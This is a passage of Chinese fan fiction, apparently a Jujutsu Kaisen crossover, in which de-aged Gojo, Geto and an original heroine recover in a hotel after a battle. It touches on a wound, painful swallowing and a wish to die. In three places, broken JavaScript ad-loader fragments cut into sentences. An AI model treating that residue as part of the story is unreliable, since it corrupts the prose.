“这什么啊!”五条悟还在专心致志试图突破无下限的极限,突然被塞了个东西吓了一跳,整个人都弹了起来。 但是在摸到这东西在发热后,又弹了回去,也不研究无下限了,抓着那圆滚滚的东西打量。 “一只小咒灵。”夏油杰言简意赅,“好像是我上小学的时候收的一只四级咒灵,没什么战斗力。” 五条悟睁着漂亮的蓝眼睛好奇地盯着这只小咒灵,转了一圈才找到它的脸在哪。 它憋着口气,胀着肚子,肚子里的咒力在他眼里像是燃烧的小火堆一样在翻滚,五条悟指着它嘲笑:“这家伙好丑。” “不过抱着还挺暖和……”五条悟嫌弃地甩了甩,就准备往自己怀里塞,“所以你刚刚发呆了半天,就是在你的宝可梦图鉴里找这家伙?” 夏油杰捕捉到“暖和”这个关键词后,伸手就把小咒灵又从五条悟手里给拿了回来,反手放进了西川雾音的怀里,还替她把外套也拉了拉,裹得更紧实了一些,低声对雾音道: “我记得这小东西能够喷火,我让它把火憋在了肚子里,试了一下应该可以,你抱着应该能暖和些。等车开到市里,我就带你去买衣服换上。” “诶?!喂——”突然被抢了小暖炉的五条悟炸毛了,“杰你拿老子做实验啊?那老子的呢!” 夏油杰扭头看他,一脸无辜:“图鉴里唯一一个。悟不会要跟女生抢吧?” 五条悟:“哈?” 八岁的五条悟气得眼睛瞪得提溜圆,蓝眼睛在恹恹的西川雾音身上晃悠半天,冷哼一声后,干脆扒着前座开始逼辅助监督脱衣服,不然就要给他嘴巴子。 已经冷得迷迷糊糊的西川雾音突然被塞了一个暖融融的东西,涣散的精神被聚拢回来,低头就看到憋得眼珠子都乱飘起来的小咒灵,愣了一下后,仰头去看旁边的男生。 因为变成了八岁,本就比她高出许多的男生现在更高大了些,他正垂着头看她,因为背光,车窗外转瞬即逝的路灯在他面上飞快地闪过一个又一个的白框。 但无论是在黑暗里还是灯光下,那双深紫的眼睛都专注地望着她,在最深处蕴着光点。 “……杰。”西川雾音张了张嘴,声音有些哑。 被叫到名字的夏油杰轻轻扇了下眼睫,对她露出笑容来:“我在,怎么了?” “……诅咒还在跟着我……”她有些精神不济,勉强打起精神,“这样下去,我可能会控制不了它……你还有咒灵玉吗?” “有。”夏油杰直接从口袋里掏出了一颗浑圆的墨玉,递给了西川雾音 拿到手里,西川雾音就知道这是一个二级咒灵。 而旁边已经穿上辅助监督的西装的五条悟甩着长袖子,看到西川雾音手里的咒灵玉也啊了一声: “忘记了,那个特级不该祓除,要给你留着才对。下次跟杰学一学,想吃的咒灵就大声喊出来啊,不然老子一时手快,到哪里再去给你找现成的?” 夏油杰听到五条悟的话,甚至又从口袋里掏出了几颗,眼尾微挑着:“知道悟不靠谱。这里还有。来的路上遇到了,顺手搓了几个。” 五条悟发出不满地嘁声。 而还在前面苦哈哈开车的辅助监督可怜巴巴地穿着件单衣,偷偷看了一眼后座温和笑着的男生,开着车不敢吭声。 他可比后面的两位清楚这是有多“顺路”。 西川雾音看了看皱着脸嫌她傻的五条悟,又看向眼前宽大骨指间撞在一起的几颗咒灵玉,突然感觉喉间有些发堵。 原来这些男生是认真的,之前说“只要她需要,会把所有的咒灵玉都给她”是认真的。 她眨了几下眼睛,好不容易才把说不清道不明的情绪眨下去,然后就听到旁边八岁的白毛同学新奇道: “咦?这小傻子的诅咒好像要消失了诶……这咒灵玉只是拿着看看也这么有效?” 在五条悟的眼里,那黑色的又夹杂了一丝红的咒力像是倒放的烟花般,在空中拉扯出细长的身体,水一般缓慢地流进雾音的身体里。 西川雾音也是一怔,一直跟在车后的诅咒真的在慢慢回到她的身体里,重新被呼吸法禁锢住。 这是第一次,在她没有吞下咒灵玉的情况下诅咒主动回来。 她有些茫然,但以防万一,她还是仰头,将手里的那颗二级咒灵塞进嘴里。 一枚正常的咒灵玉大概有成人拳头大小。 想要将它完整的吞咽下去,还不能磕碰到牙齿,对于成年人来说都是一件极吃力的事,更别说此时身体只有八岁的西川雾音。 她努力张大嘴,嘴角都撑到最大才勉强将咒灵玉塞进嘴里。而吞咽这个往日里轻而易举的动作,也在此时变得难如登天。 柔软有弹性的喉管被拉扯到最大也无法完全包裹住咒灵玉。球状物体哽在了喉咙口,无论如何都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吞不下去,西川雾音只好伸出手扶住自己的脖子。 白皙纤长的脖颈像是要即将折断般高昂着,被堵住的咽喉也自发地蠕动着,却因为无法下咽而产生生理性的的干呕。 这是一副很丑陋的画面。 无论是什么东西,只要被勉强拉扯着撑到最大,都会显得又扭曲又怪异。 西川雾音在意识到这一点的时候,就已经不自觉地微微侧起身子,不想让其他人看到。 而在她扶住脖子,咽不下又吐不出的时候,有人比她更快地扯过什么东西挡住了她狼狈的样子。 是夏油杰。 他直接拉起了五条悟身上那件有些过大的西装外套,遮在了其他人的视线前——连后视镜都考虑到了。 “杰你——” 又一次被抢了衣服的五条悟刚瞪大眼睛准备炸毛,就听到夏油杰非常认真地说:“别看她。” 五条悟漂亮的脸上还写着“老子不高兴”,但因为夏油杰的话,目光除了一开始的轻转后,便重新凝视着前方,没有再往西川雾音的方向看一眼。 只有嘴上还有些不饶人地嘟囔着:“老子要是生病了,你俩得负全责……” 可这时的夏油杰却完全没有心情像往常一样调侃回去。 他将别人的视线都挡得严严实实,自己的目光却无法从雾音的脸上移开。 那样流露出痛楚神色的脸渐渐跟夏油杰记忆中另一张年幼稚嫩的面容重合在一起。 被撑到极致的喉管、明明咽不下却还要勉强自己咽下的痛苦、狼狈不堪的满面泪水……这些都是年幼时的他自己每天都在经历的事情。 他比任何人都要懂那种难以言表的丑陋又难堪的吞咽方式和不愿别人发现、不想看到别人怜悯或是听见别人可怜感慨的自尊。 曾经的夏油杰不愿让别人看到这样的自己,现在他也不想让别人看到这样的西川雾音。 他喉结微动,只觉得自己的喉咙也在发胀发痛。 他的视线也从那张脸上垂下,不再去看那细长却又高高臌胀起一团的脖子。 一直到西川雾音白着脸艰难咽下咒灵玉,垂着脑袋歪歪扭扭靠在后座上,夏油杰才慢慢将那件遮挡别人视线的西装外套放下,扔还给五条悟。 西川雾音紧紧抱着怀里那颗还在发热的小咒灵,本来被暖风吹得微干的头发又一次被汗水浸湿。 喉咙也火辣辣的。 好奇怪,她明明应该感知不到才对。 明明在半年前,她就几乎尝不出任何味道,痛感也变得迟钝起来。 是因为身体变小了吗? 因为咽不下去,所以才会与以往的感觉不同? 西川雾音思绪混乱,想不明白,只觉得身体上和精神上的疲惫感更重。 一只手扶到了她的耳后,用一种轻轻地却又不容拒绝的力度将她的脑袋按到了手主人的肩膀上。 男生轻而低地道:“如果困了,可以靠着我,这样会舒服一些。等到了酒店,我会喊你的。” 西川雾音几乎没有以这样亲密的姿势跟异性靠在一起过。 她的身体略略有些僵硬,可因为是杰,她又慢慢松弛下来。 于是在短暂的不自在后,西川雾音便顺着对方的力度,老老实实地靠在了他的身上。 青春期的男生就像一个无时无地不在散发热气的小火炉。 尽管只有发顶抵在男生的颈弯处,对方的体温仍然顺着相接处源源不断地涌流过来,竟让西川雾音真的困倦起来了。 她忍不住打了一个哈欠。 那只手又一次覆了上来。 只是这一次是用更轻地力度,轻轻捋过她潮湿的刘海,一下又一下抚着她脑后的长发。 想睡就睡好了。 杰在这么告诉她。 17.第十七章 因为时间太晚,辅助监督直接开车将他们送到了仙台市中心的酒店。 由于出现了两个人同时变小的特殊情况,夏油杰索性让辅助监督给他们三个人订了一个房间。 西川雾音直接睡了一路。 而虽然身体变小了,但是性格还是顽劣的五条悟则恢复速度惊人。 除了一开始在雾音刚睡着的时候,他还老实地坐在车上没有说话,到了后半程就开始拉着夏油杰打双人游戏。 ——也不知道他是怎么在特级咒灵的领域里还能保护好游戏机的。 但好在大少爷打游戏归打游戏,除了激动时候使劲拍打夏油杰的手臂和赢了后仰头无声狂妄大笑,倒也没有再发出其他声音。 这也是西川雾音能够完整睡一完整个车程的主要原因。 当然,等到了酒店房间里,大少爷就没有那么“通情达理”了。 小炮弹一样冲进去,先占了靠窗的位置最好的床——因为酒店刷的少爷的卡。 然后直嚷着饿死了,还死活不愿意吃套房的送餐,瞪着双漂亮的蓝眼睛跟辅助监督说,十分钟内没看到麦当劳就要用【苍】在他的□□上画画。 被吵醒后旁观了全程的西川雾音:“……” 夏油杰小声跟她蛐蛐:“这家伙,长这么大都没吃过麦当劳。之前我跟硝子带他吃过一次后,他就上头了。” 西川雾音听完若有所思:“那他吃过肯德基了吗?” 夏油杰眨了下眼,笑得像狐狸:“没有诶,忘记带他去了。” 西川雾音跟夏油杰对视着,看着对方笑眯眯的样子,这分明不是忘记了嘛。 于是,作为三个人中目前唯一的“大人”,夏油杰开始催促两个浑身湿透的人赶紧去洗澡换下脏衣服。 五条悟二话没说抱着衣柜里的小号浴袍就冲进浴室,门都关上了还能听到大少爷抱怨着:“杰快去买新衣服啦——今天小傻子在诶,不然直接遛鸟就可以,啊真的好麻烦……” 夏油杰:“……” 夏油杰伸手捂住了西川雾音的耳朵。 对于两个人的新衣服,五条悟还好糊弄,下楼在隔壁商场的童装店里随便挑两件就能穿,但是女孩子用的东西,夏油杰就谨慎得多。 他不确定这个年纪的女孩应该穿什么衣服。 再具体点就是,嗯,八岁的女孩子也要穿内衣吗? 然而当夏油杰在谷歌里遨游了一圈后,纠结的事又变成了衣服的面料应该选什么材质才不会刺激到小孩子细嫩的皮肤。 他尝试给硝子发消息。 但惯来阴间作息的硝子却没有任何回复。 五条悟都从浴室里披着浴袍大大咧咧跑出来了,西川雾音也不喜欢身上黏糊糊的感觉,准备进去洗澡。 夏油杰纠结了一下后,换了个背对着他们的位置,神态严肃地点开了联系人列表里的【母亲大人】。 - 在得到五条少爷的批准后,雾音抱着另一件小号的浴袍走进了浴室里。 她伸出小手关上浴室门,又拧上了锁。听到锁头的啪嗒声后,她才后退了两步,一直踢到木凳上,就这么顺势坐了下来。 一仰头,就跟雾蒙蒙的镜子里那个穿着湿漉漉的校服,头发也湿漉漉的披着的女孩对上了视线。 镜面上被细密的水雾罩着,偶有几颗水珠从上往下划过,越滚越大,留下清晰的水痕。 镜子里那双浅碧色的眼睛恰巧暴露在这水痕里。 她看着镜子里人,镜子里的眼睛也在盯着她。 好半天,她才对着不甚清晰的镜子,伸手摸了摸胸口处绣的字样。 她已经许久没有穿过这身校服了。 除了那双眼睛以外,看上去好像是跟以前没有什么区别。 西川雾音伸手抹去了镜面上大半的水雾,然后才对着镜子掀起了衣服的一角。 一道从左胸口到右腰,几乎横贯上半身的刀伤翻着肉皮暴露在了空气里。 好在在呼吸法的控制下伤口已经不再流血,只是衣服摩擦残留的干涸血渍看上去有些惊心怵目。 西川雾音垂着脑袋,看着身上的刀伤,纤长的眼睫在眼下盖出深色的阴影。 她原本差一点就要死了。 这个领域是专门为她准备的。 通过不断地回溯到过去,不停地进行心理暗示,只要她做出一次错误的选择,就会被咒灵找到可以侵蚀的方向。 在过去的49个小时里,西川雾音一共回到十岁发生变故的那天128次,面对将死的母亲她举起的刀从没有犹豫过。 可是当她回到八岁的时候,温暖的家、温柔的妈妈、刚下班回来的爸爸,一切都是还未发生的样子。 妈妈没有变得面目全非,爸爸也还好好地穿着那件藏青色的衬衣。 饶是有诅咒源源不断吞噬着她的情感,雾音还是在幻境里过完了那一天。 那是永远不会结束的一天。 雾音明明自己都回忆不起那些细节,甚至已经遗忘了当初的心情,可是就是拿不起刀了。 她被困在了那一天里。 而她知道自己被困在了那里。 所以当诅咒举着黑色的长刀,引着熊熊烈焰,砍向她的“妈妈”后,刀锋并未收敛,也狠狠劈向了她的半身。 流焰点燃了刀口溢出的鲜血,焚尽了已经在偷偷占据她身体的“鬼”。 恐怖的诅咒遮天蔽日,黑色的影子也像是黑色的火焰,烧在整个领域里。 烈焰一直烧到她的脸上,只有那双碧色的眼睛还在火光中熠熠生辉。 直到她举起手中的日轮刀,亲手砍断了“母亲”的脖颈,灼烧在她身上的火才戛然而止。 彻底断成两截的日轮刀斜插在地上。 西川雾音差一点就死了。 但她那时候唯一想的是,好可惜,刀还是断了。 西川雾音坐在凳子上,对着镜子又看了好半晌,才打开花洒,小心地脱下湿透的校服,撩着水将伤口外围皮肤上的血渍擦干净。 等她出来,就看到把手上挂着一条棉质睡裙。 她换上裙子,左右看了看。有些大了,裙角都盖到了脚面上。但是穿着很舒服。 雾音走到外面,五条悟已经在吃着薯条看电视了。 “杰呢?”雾音在屋子里扫了一圈,没看到熟悉的人影。 五条悟鼓动着腮帮,含混不清:“出去打电话了。他妈怀疑他拐卖儿童。” 西川雾音:“啊?” 五条悟伸手指了指自己,又指了指雾音。 西川雾音:“啊?” 还是没搞明白,为什么他们是被拐卖的儿童。 五条悟已经捏起一根薯条塞进嘴里,两只眼睛盯着电视屏幕里正在打斗的动画人物,红的光蓝的光黄的光反射到他白净的脸上,他头也没回说着: “左边柜子的抽屉里有医药箱。血要渗出来了。” 西川雾音第一反应是低头去看,白色的睡裙上还是干干净净的,什么都没有。 然后才去看侧对着她的男生。 他撑着腮,专注地看着电视,一丝视线都没有瞥过来,语气散漫随意: “如果不想他担心的话,你最好去处理一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下。回头记得赔老子一个墨镜,眼睛都要被你身上的咒力残秽闪瞎了。” 西川雾音默不作声地拉开抽屉,将里面的医药箱抱出来重新进了浴室里。 掀开裙子,里面临时用纸巾裹缠的伤口果然渗出了血。 她取出纱布涂了药,重新包扎上,确定没有再晕出血渍才放下了裙子走出去。 一打开门却跟夏油杰撞了个正着。 西川雾音抱着医药箱顿在原地,抬头同他对视着。 夏油杰只是看了一眼她怀里的箱子,什么都没说,在她面前蹲了下来,抬手碰了碰她还湿着的头发: “不吹头发吗?这个天气,任由它湿着的话也是会感冒的。” 西川雾音侧头往肩膀看了看,白色的棉布裙上已经洇出一小片水色,她换了单手抱着箱子,另一只手撩了撩头发:“吹……” 话还没说完,怀里的医药箱就被人拎走了。 夏油杰提着箱子随手放在了一旁的洗手台上,然后直起身,按着住了雾音的肩膀: “我来帮你吹。” 暖风从风筒里呼呼吹在耳侧,成了这片不大的空间里唯一发出的声响。 西川雾音老老实实站在小木凳上,也只到身后男生的胸口位置。 她透过面前的镜子看着他。 他像是没有注意到雾音的视线,垂着眼睑,一只手举着吹风机,另一只手轻轻地撩起乌黑的长发,小心地吹着上面的水渍,动作有些笨拙,但力度柔和,像是生怕拽疼了她的头发。 两个人都没有说话。 一直到夏油杰将风筒的风调小,开始吹还潮湿着的发尾,西川雾音才隔着镜子问他:“……” “什么?”因为噪音夏油杰没有听清,他便将吹风机关上,耐心地等着女孩再一次说话。 西川雾音扭过头看了他一眼,又转过去,跟镜子里的他对视上后又问了一遍:“对不起。” “为什么要道歉?”夏油杰看着镜子里的女生。 西川雾音非常坦诚:“不知道。” 犹豫了一下,又补了一句:“觉得应该要道歉。” 然后过了一会,又道:“其实我受伤了。” “我知道。”夏油杰垂下眼睛看着身前小小的女孩,“连悟那个开了挂的家伙,扛到最后无下限都差点被打掉了,你不会以为你有特级过咒怨灵就万无一失吧?刀都断成两截了,趴在地上爬都爬不起来,还是我抱着回到车上。诅咒也压不回身体里,像是风筝一样一路跟在车后面,就算我看不到,血的味道也总能闻到吧?还是说,你真的以为我不如悟?” 非常难得的,夏油杰说了那么一长串几乎可以算得上是轻讽的话。 一直以来在雾音面前温柔平和、善解人意的男生,在经历了同期失踪49小时,接连从神户辗转到东京再到仙台,一来就撞见两人差点死在特级咒灵手里,一直压在心里的火总算是冒了个头。 这时候不笑的夏油杰,其实有些怵人。 薄而狭长的眼皮斜入刘海,紫色的浓到发黑的、像是冷金属般的瞳眸无动于衷地望着你,挺却窄的鼻梁在眼侧投下阴影,薄唇冷淡地抿着,像是无法被打动的雪山,矗立在极高极冷的地界。 可偏偏眼前的女孩像是看不懂人脸色,认真地仰头望着他,说: “不,杰比五条厉害。五条身上如果没有那乌龟壳,近战才打不过我。而我的近战打不过杰,所以,杰最厉害。” 夏油杰:“……” 夏油杰:“……” 原本还本着脸的夏油杰再听到“乌龟壳”三个字,终于还是没忍住破功了。 18.第十八章 夏油杰忍不住哈哈大笑,伴随而来的是外面五条悟气急败坏的声音: “说谁是乌龟呢?啊?西川雾音?说别人坏话的时候好歹把门关上啊!老子全部都听到了!还有老子才是最强啊!老子一个人可以打十个宝可梦!” “而且到底谁跟你说的无下限是乌龟壳啊?老子还有六眼呢!你能不能先给老子去学一学数学和咒术史啊?老子是史上最强!百年难遇最强!” 西川雾音:“啊?” 破防的五条悟气得麦当劳也不吃了,可乐一丢,跳下床冲过来就要跟西川雾音好好说道说道。 结果冲一半就被一根手指戳着脑门挡在了门口。 夏油杰笑眯眯地俯身看着此时只到自己腰上面的白毛同期:“悟,先去把衣服穿好。还是说,我买的衣服不合少爷心意?” 还穿着浴袍的五条悟被抵着脑门,两只蓝眼睛往上翻着去看自己的好友。 黑发男生虽然嘴边挂着笑,但眼里眉梢却像挂在天幕上的月,还有些冷泠泠的。 五条悟神情有些奇异,尽管被这么不阴不阳地说了一句后,但也没有再咋咋呼呼非要跟别人一绝死战了。 他在原地站好,扯了扯松松垮垮露了大半个胸膛的浴袍,又看了一眼还在微笑的黑发男生,嘁了一声后,老老实实走出去,开始去翻夏油杰带回来的纸袋子。 那家伙真的生气了啊…… 五条悟拿起大红色的卫衣,有点嫌弃,但还是穿在了身上。 夏油杰看着五条悟捧着可乐重新坐回电视机前,才扭头去看身旁的另一个小豆丁。 她安安静静地站在旁边,只有两只大眼睛随着他的动作时不时滴溜溜转着。 表情看上去是比较严肃的,但是碍于现在的年龄,尤其是脸一动,两腮上的嘟嘟肉也会晃两下的,哪怕再正儿八经,都让人想要发笑。 夏油杰表面不显,伸手穿过雾音的腋下,将人直接举了起来,彼此对视着,他顿了一下,然后又给平稳地放在了地上,还顺手把她踩在脚下的小凳子给收了起来。 “杰还在不高兴吗?” 夏油杰没说话,提着放在洗手台上的医药箱往外走,小豆丁就绕着他的腿转——这只比刚刚的那只还要矮,还没他腰高。 “杰——” “杰——” 大概是嫌西川雾音叫着烦了,坐在电视机前的小少爷扭过头来,恶劣扬眉: “你也太笨了吧?老子教你,他不理你,你直接扑上去抱着他的大腿啊——杰这家伙对弱者最没抵抗力了,尤其是你这种一根手指头就能戳倒的小屁孩。” 明显还在记恨刚刚被人说“乌龟壳”的五条悟已经忘了自己现在也是小屁孩。 而西川雾音还以为五条悟是真的在教她,开始认真地盯着眼前的灯笼裤。 男生的腿很长。 明明是有些夸张的阔腿小脚裤,却因为得天独厚的身高优势,反倒将常年锻炼的、线条优美有型的长腿完整勾勒了出来。 而夏油杰明明也听到了五条悟作坏的指使,竟也一声不吭,只是站在那里,垂着眼睛去看西川雾音,像是想要知道她会怎么做。 西川雾音几乎没怎么犹豫地,张开手就抱住了面前的大腿。 黑色校服摩擦在她的手臂间,刚搂上去,属于男生偏高的体温便顺着薄薄的布料传递过来。 手下的大腿肌肉微微绷紧,靠上去有些硬。西川雾音这样想着,双臂交叉,索性搂得更紧了一些,然后仰头,与也正低头望着她的男生对视。 西川雾音看了他几秒,想了想将脸贴在他的腿侧,又叫了一声:“杰……” 这次是名字还没叫完就被对方抱了起来。 嘴里念到一半的“suguru”还剩下尾音含在嘴里,就被举到了可以跟对方平视的高度。 双腿自然垂下着,西川雾音跟他对视了两秒,突然福灵心至,伸出手主动搂住了他的脖子。 这次夏油杰也没拒绝,调整了一下姿势,让雾音顺势坐在他的手臂上。 西川雾音脑袋一歪,就这么靠在了他的肩头。 五条悟表情怪异地看着这一幕:“……你们在演什么父慈女孝的戏码吗?” “悟也可以加入我们,”夏油杰伸出左手,对他友好建议道,“正好我左手还空着。” 五条悟却像是炸了毛的猫往后弹开:“滚滚滚——占谁便宜呢!” 被嫌弃的夏油杰只是耸了耸肩,然后就弯腰将雾音放了下来。 放下来后也没立即起身,就着俯身的姿势问她:“要去医院吗?” 西川雾音双脚着地,踏实地踩在地面上,迎着夏油杰的目光轻轻摇了摇头。 夏油杰没有再说什么,只是伸出手轻轻拍了拍她的脑袋。 他知道雾音不是个爱逞强的孩子。 如果真的很严重,绝对不会硬抗。 但是知道归知道—— 看动画片看得正起劲的五条悟眼前一黑,电视机就被人按了关机键。 五条悟先是眨了下眼,然后脑袋上的白毛慢慢竖了起来,猛地扭过脸看向拿着遥控器的罪魁祸首: “干嘛啊杰!!我正在看武藤游戏和大邪神佐克进行最后的卡片决斗啊!!!” 夏油杰挥了挥手里的电视遥控器,随手放在了一旁的桌子上,一手插着兜,笑容温和:“虽然变成了小学生,但是悟,你已经长大了,拜托不要再做幼稚的事,快去睡觉。” “老子就、不——”五条悟瞪着眼睛,举起手指,上来就是一个蓝色光球,想要借着【苍】的吸引力把遥控器吸过来。 结果才亮了个□□,就被不知道什么时候从身后出现的棒槌照着脑袋狠狠来了一下。 白毛都被压出一个明显的凹陷来,五条悟抱着脑袋嗷了一声。 吃准了小学生现在没精力维持无下限术式的夏油杰,伸出一只手拢在耳边:“你刚刚说什么?再说一遍——” 正好路过五条悟,准备爬上床的西川雾音扭头认真回道:“五条说他是小学生。” 捂着脑袋上红肿的包的五条悟:“……” 夏油杰眼疾手快地把爬起来就要扑过去跟小女孩打架的五条悟提起来,看着他在空中扑腾四肢,恶狠狠对着已经上床的雾音放狠话。 而已经躺在床上盖上小被子的西川雾音,则是一副路人路过的茫然神情:“啊?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >夏油杰终于没忍住,也伸手在雾音的额前拍了一下。 不重,却让西川雾音的小脑袋往后一仰。 五条悟也没被放过。 夏油杰一手拎着小少爷,另一只手并着两指点在他的前胸和腰腹,微笑:“悟,我看你也在把我当傻子。你们两个人现在最好都老老实实地躺着,不然我不介意用咒灵把你们捆起来睡一晚。” 被戳到伤处的五条悟嗷了一声,终于老实了。 自己爬上了旁边另一张床,钻进被子里,还有些赌气地背对着两个同期。 西川雾音也缩进被子里,只露出两只眼睛和散在枕头上的黑发。 夏油杰扫了他们一眼,这才有功夫拿上自己的衣服进浴室。 进去前还顺手把房间的灯都关了,只留了浴室外的一盏夜灯。 隔着一道门,花洒水淋到地上的声音模模糊糊,不甚清晰。 隔壁床传来翻身的动静,西川雾音还维持着之前的动作,睁着眼睛望着天花板。 “喂。” 西川雾音扇了下眼睫,侧了侧头,就跟那双漂亮的蓝眼睛对视上。 “你之前看我的那个眼神……你早就知道了吧?” 湛蓝的眼睛即使在黑暗的房间里,仍熠熠发光,像极地冰川下的河,暗流汹涌。 “……什么?”可西川雾音却不记得他说的是哪一次,只能用茫然回复他。 难得的,对方极有耐心地一字一顿重复了一遍: “上次,在那个商场里,就是你杀了个诅咒师的那次。当时我问你‘既然能有一个组织可以控制咒灵,且存在长达百年之久,为什么御三家的人从没有提起过’的时候,你看着老子的那个眼神……” 西川雾音看着他。 “对,就是你现在这个眼神……真是让人不爽啊……”五条悟的语气听上去有些躁,他好像使劲揉了一把自己的白毛,“你是不是一直知道,御三家里有叛徒?” “叛徒?” 西川雾音轻轻重复了一遍:“什么是叛徒?” “哈?你耍老子玩呢?……什么意思?” 西川雾音认真地解释着:“有背叛行为的人才叫叛徒。” “你不知道吗?百年前那个第一位在鬼舞辻无惨死后,得到他鲜血的诅咒师,他姓加茂。他为了将家族传承的术式发挥到极致,才偷了产屋敷一族中密藏的鬼舞辻无惨的血。只可惜后来他失败了。” 西川雾音平静地阐述事实:“他被钉死在了产屋敷家的荣柱上,被烈焰烧成了灰。但是那件‘无尽生’的咒具却已经完成了。” “自此,名为‘无尽生’的组织建立。” 沉默在黑暗中蔓延。 许久,才听到对方低低念了一句:“……加茂家……原来是赤血操术……” 下一秒,房间里的灯被打开。骤然亮起的灯让躺在床上的两人同时眯起眼睛,西川雾音干脆直接滑进了被子里,将整个脑袋都藏在了里面。 满身水汽的男生披散着黑发,没什么表情的站在门口看着床上还精神抖擞的两个人。 手一挥,一道黑色的影子飞快地闪过空中。 男生低声道:“去,梦魇。” 19.第十九章 西川雾音又做梦了。 京都的秋天总是未语先红。 她坐在缘侧旁,双腿从边缘垂下,仰着头,听风吹得红叶簌簌作响,看那些金色、红色交织在一起,遮蔽着这座庭院大半个天空。 布料窸窸窣窣停在身后,西川雾音不用回头也知道是谁。 这个时间会来到这里的人只有产屋敷大人。 “在赏红叶吗?”温文尔雅的男人将宽大的袖袍收束在身前,学着雾音的样子席地而坐。 西川雾音却摇了摇头,道:“在看天。今天,没有云。” 她说话很慢。 这是她在经历那场变故后的第23天。 产屋敷大人若有所思地看着雾音的侧脸,然后望向那一方被横梁檐角框住的天。 天被红叶簇拥着,更显狭小。 就像此时的雾音,被定格在这座庭院里。 “想出去转转吗?”产屋敷大人温和问着。 西川雾音再次摇头,但这次总算是看向了身边人。 那双澄澈的眼底也同此时一览无余的天,纯净却空泛。 被这样的眼睛注视着,产屋敷曜哉竟也有些缓神,他听到对方问他: “我现在,是麻烦吗?” 产屋敷大人:“为什么这么问?” “那些人,是不是,一直在找我?”西川雾音很平静地道,“把我交出去吧,反正我不会死。如果真的死掉了,那也没关系。” 随着她的话,疾风骤起,金黄的火红的枫叶打着旋摇摆着,黑色的庞大的影子从她低垂的脚下流溢出来,张牙舞爪,铺满整个庭院。 门楣处悬着的铜铃叮当作响,西川雾音看着视野里被填满的巨影,声音有些轻有些飘: “还不如,当初一起烧光……” 产屋敷大人凝视着尚且年幼的女孩,然后伸出手拍在她的额头上方:“有个东西想要交给你。是你的母亲托付给你的。” 听到“母亲”两个字,西川雾音总算从混沌中清醒几分,扭过头来望着对方。 “跟我来,雾音。” 洁白的足袋踩在杉木地板上,及地的外袍曳在身后,高却有些羸弱的身体停在其中一间合室前。 门被拉开,里面出乎意料地是一间供奉室。 数不清的白蜡烛铺在地上、桌上、烛台上,大大小小几十上百个牌位立在供桌上,最中间是硕大的【鬼杀队】三个字。 西川雾音愣愣看着火苗飘摇,然后望向宛自走进去的产屋敷大人。 产屋敷大人从其中一侧壁柜中拉开抽屉,拿起里面一个墨底青花的盒子,递给了西川雾音。 雾音懵懂地用双手接过,再打开,里面只躺着一对印有太阳的花札耳饰。 “你的祖先曾是百年前最后一任【鬼杀队】的队员,这是他带在身上的一件咒具。你的母亲继承了这对花札耳饰,但最终交给了产屋敷保管。” 男人声音清润温和:“雾音,你的母亲曾说,在需要时可以将这对耳饰交给你。那么,现在我以产屋敷家主的身份问询你——你愿意接受这东西,修习全集中呼吸法吗?呼吸法可以来抑制你身体里的过咒怨灵。” 既然不愿解除诅咒,京都高专也不愿伸出援手,那就用他们鬼杀队自己的方式来救这个可怜的孩子罢。 西川雾音伸出手,轻轻地小心地捏出其中一只耳饰,举到眼前,看着烛火投印在太阳上的黑点,纯澈的碧瞳转动着望向产屋敷曜哉: “产屋敷大人。” “嗯?” “你可以答应我一件事吗?如果有一天我死了,就把我的身体烧了吧。不用收敛余灰,就让一阵风全吹散了吧。” - “……说是加茂家……不是没有可能……赤血操术……弊端……” “……所以……沆瀣一气吗……学校里的……” 西川雾音睁开眼睛,只看到灰色皮质的天花板。 也许因为有些年头了,边缘都有些发黄发污。 视线稍稍一瞥,就看到男生微微绷紧的下颌线和滑动的喉结。 “……无论如何,先回去再说。” 随着声音逐渐流进耳朵里,身体的其他感官也渐渐苏醒。 身下微微震动,西川雾音后知后觉地发现自己已经坐在了车上,正头靠着夏油杰的肩膀。 她一动,男生就察觉到了。 夏油杰垂下眼睛看她,细长的眼尾微微弯着,声音一如往常般温和:“醒了?” 西川雾音坐直身子,往窗外飞驰向后的林木看了一眼:“是回去了吗?” 夏油杰嗯了一声,从旁边挂着的纸袋里拿出一份早餐递给她:“已经出发一个小时了,看你睡得熟就没叫醒你。饿了吗?监督老师买了早饭。” 西川雾音接过,对着夏油杰道谢,然后又看向倒车镜里印出的人脸:“……谢谢老师。” 她疑惑着又看了一眼,然后就听到前排副驾传来的声音:“别看了,就是换人了。” 坐椅被放倒,不知什么时候鼻梁上又架了一顶小圆墨镜的五条悟仰躺着,在墨镜的间隙中露出湛蓝的眼睛望着她: “这是五条家的辅助监督,今早刚从名取那边赶过来……你这家伙,刚经历完特级咒灵的事还能睡这么死,真是一点不担心有人趁你睡着再给你一刀啊。” 西川雾音听说是五条家的人,便收回了视线,拿了一盒牛奶撕开,吸了一口:“没关系,我不会死的。而且杰跟你都在。” 听她这么说,夏油杰伸手拍了一下她的脑袋,轻轻眯起眼:“看来还是伤得轻了。” 五条悟还在前面嘟囔着“谁说要救你了”,西川雾音摸了摸自己的头顶,还以为夏油杰是跟五条一样不愿救她,于是仰头去看他: “那我保护杰好了。” 夏油杰又伸手拍了一下她的头,少年人独有的傲慢显露了几分:“那你还是老是呆在原地,等着我去找你吧。” 有小纸团也扔在了雾音的头上,躺在前面的五条悟见她看过来又扔了一个:“老子呢?光保护杰不保护我是吧?真是没良心啊小雾音,这次仙台可是老子替你来的。” 西川雾音把掉在腿上的纸团捡起来:“你不是说是因为想要吃红豆大福吗?” “是毛豆奶油味喜久福!你怎么连老子喜欢吃什么都没记住?!”五条悟瞪圆眼睛,非逼着她念三遍喜久福,“杰,这家伙真是榆木脑袋啊,换个人这时候都该哭着谢谢最强救了她了。” 夏油杰伸手拦截了一个纸团,反手丢回五条悟脸上:“倒也不用哭着谢我,悟回去把这次的任务报告写了就行。” 五条悟:“哈?!我说的最强是我!!” 夏油杰:“没错啊,确实是我。” 五条悟:“……” 眼见着就要飞扑到后座跟好友一绝死战。 西川雾音咬着吸管把牛奶盒吸空,目光已经从开始新一轮“内斗”的两个人身上移开,托着腮去看飞驰在窗外的草木。
